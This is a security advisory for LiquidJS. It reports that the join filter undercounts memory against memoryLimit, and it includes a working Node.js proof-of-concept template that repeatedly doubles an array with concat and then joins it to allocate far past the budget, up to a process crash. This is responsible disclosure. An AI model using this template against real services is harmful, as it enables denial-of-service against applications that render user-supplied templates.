GHSA-4r6h-5v86-94p3

### Summary

The `join` filter (`src/filters/array.ts:8-13`) charges `memoryLimit` by array element **count**, not by the string length it produces, letting a template bypass a configured `memoryLimit` and allocate strings far past budget — bounded only by V8/process limits, not by `memoryLimit`.

### Details

```js // src/filters/array.ts:8-13 export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) { const array = toArray(v) const sep = isNil(arg) ? ' ' : stringify(arg) const complexity = array.length * (1 + sep.length) // element COUNT, not element sizes this.context.memoryLimit.use(complexity) return array.join(sep) // allocates sum(element lengths) + separators }) ```

`concat` (`array.ts:72`) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. `join` is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (`array.length`) doesn't reflect that.

Same undercounting class as already-fixed `replace` (GHSA-mmg9-6m6j-jqqx), `replace_first` (GHSA-6q5m-63h6-5x4v), `date`/strftime (GHSA-hh27-hf48-9f5q) — `join` wasn't covered. Sibling `array_to_sentence_string` (`src/filters/string.ts:210`) has the identical defect.

### PoC

Live-reproduced against `liquidjs@10.27.1`, Node v24.3.0.

```javascript const { Liquid } = require('liquidjs'); const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense

const E = 5000, DOUBLINGS = 13; const chunk = 'a'.repeat(E); let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`; for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;

const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked console.log('output length:', len); // output length: 40960000 ```

Verified by binary-search on `memoryLimit`: render is **blocked at 29573**, **succeeds at 29574** — confirming total charge across `split`+13×`concat`+`join` is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: **40,960,000** — **1385x** the total charged, >4x the configured 10,000,000-unit limit. Scaling `DOUBLINGS` grows output exponentially for linear charge growth, driving toward gigabytes and a `RangeError: Invalid string length` / V8 OOM crash.

### Impact

Any app rendering attacker-influenced templates with `memoryLimit` set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. `split`/`concat` are correctly charged; the gap is `join`'s own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that `join`'s charge is wrong relative to what it allocates.)